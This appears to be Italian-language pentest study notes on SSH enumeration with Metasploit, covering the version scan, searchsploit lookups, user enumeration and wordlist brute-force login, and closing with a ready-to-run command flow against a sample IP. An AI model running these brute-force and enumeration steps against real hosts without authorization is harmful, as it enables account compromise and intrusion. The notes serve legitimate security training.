SSH Enumeration – Appunti Approfonditi
Durante un penetration test, l'enumerazione del servizio SSH Secure Shell è fondamentale per identificare: - La versione del server
SSH Enumeration – Appunti Approfonditi
Introduzione
Durante un penetration test, l'enumerazione del servizio SSH (Secure Shell) è fondamentale per identificare:
- La versione del server
- Eventuali vulnerabilità note
- Utenti validi
- Credenziali deboli o predefinite
Il servizio SSH è spesso monitorato e soggetto a meccanismi di protezione contro il brute-force, quindi ogni azione deve essere eseguita con cautela.
Setup Ambiente (Metasploit)
Avvio del database:
service postgresql startVerifica connessione al DB:
db_statusImpostazione target globale:
setg RHOSTS <ip_target>Ricerca dei Moduli SSH
Ricerca generica:
search sshRicerca per moduli ausiliari:
search type:auxiliary name:sshModuli Metasploit Utili per SSH Enumeration
1. Version Check
Identifica la versione del server SSH:
use auxiliary/scanner/ssh/ssh_version2. Ricerca vulnerabilità per versione SSH
search versione_ssh
searchsploit <versione_ssh>Verificare su Searchsploit la presenza di vulnerabilità pubbliche.
3. Brute-force login SSH
use auxiliary/scanner/ssh/ssh_loginParametri consigliati:
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true⚠️ Attenzione: il brute-force su SSH è facilmente rilevabile e potrebbe portare al blocco dell'IP.
4. Enumerazione utenti SSH
use auxiliary/scanner/ssh/ssh_enumusersIl modulo cerca di verificare la validità di un elenco di utenti osservando la risposta del server SSH (valid username = risposta diversa).
Considerazioni Finali
- Verificare sempre la versione del servizio SSH in esecuzione.
- Effettuare brute-force solo se autorizzati e con throttling adeguato.
- Le tecniche di enumerazione utenti possono fornire una base utile per attacchi successivi mirati.
Esempio di Flusso Operativo
service postgresql start
db_status
setg RHOSTS 192.168.1.100
search ssh
use auxiliary/scanner/ssh/ssh_version
run
searchsploit OpenSSH_7.2p2
use auxiliary/scanner/ssh/ssh_enumusers
set USER_FILE users.txt
run
use auxiliary/scanner/ssh/ssh_login
set USER_FILE users.txt
set PASS_FILE rockyou.txt
run